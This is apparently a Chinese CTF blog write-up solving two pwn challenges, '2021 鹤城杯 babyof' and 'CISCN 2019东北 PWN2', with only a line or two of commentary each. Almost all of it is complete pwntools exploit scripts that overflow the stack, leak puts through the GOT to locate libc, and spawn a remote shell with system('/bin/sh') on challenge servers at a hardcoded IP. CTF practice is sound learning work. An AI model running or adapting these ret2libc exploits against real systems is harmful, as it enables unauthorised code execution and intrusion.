[2021 鹤城杯]babyof
打开IDA发现为栈溢出且没有system函数,优先考虑ret2libc
脚本如下:
from pwn import *
from LibcSearcher import *
#context.log_level='debug'
p=remote("1.14.71.254",28764)
elf=ELF('./babyof')
ret=0x0000000000400506
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x00000000040066B
pop_rdi=0x0000000000400743
payload1=b'a'*(0x40+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendlineafter(b'overflow?\n',payload1)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
#libc=LibcSearcher('puts',puts_addr)#找不到匹配libc
libc=ELF('./libc6_2.27-3ubuntu1.4_amd64.so')
#offset=puts_addr-libc.dump('puts')
#sys_addr=offset+libc.dump('system')
#bin_sh=offset+libc.dump('str_bin_sh')
offset=puts_addr-libc.sym['puts']
sys_addr=offset+libc.sym['system']
bin_sh=offset+libc.search(b'/bin/sh').__next__()
payload2=b'a'*(0x40+8)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)#玄学栈对齐
p.sendlineafter(b'overflow?\n',payload2)
p.interactive()
[CISCN 2019东北]PWN2
buu上刷到过,原题,同样是简单的rop,但是有个疑问在于加密没用上,但是能做出来
脚本如下:
from pwn import *
from LibcSearcher import *
def encrypt(s):
res = ''
for i in range(len(s)):
if ord(s[i]) <= 96 or ord(s[i]) > 122:
if ord(s[i]) <= 64 or ord(s[i]) > 90:
if ord(s[i]) > 47 or ord(s[i]) <= 57:
res += chr(ord(s[i]) ^ 0xf)
else:
res += chr(ord(s[i]) ^ 0xe)
else:
res += chr(ord(s[i]) ^ 0xd)
return res
p=remote("1.14.71.254",28899)
elf=ELF('./pwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=elf.sym['main']
pop_rdi=0x400c83
ret=0x4006b9
p.sendline(str(1))
p.recvuntil(b'encrypted\n')
payload1=b'a'*0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendline(payload1)
p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
offset=puts_addr-libc.dump('puts')
sys_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
p.sendline(str(1))
p.recvuntil(b'encrypted\n')
payload2=b'a'*0x58+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload2)
p.interactive()
Comments NOTHING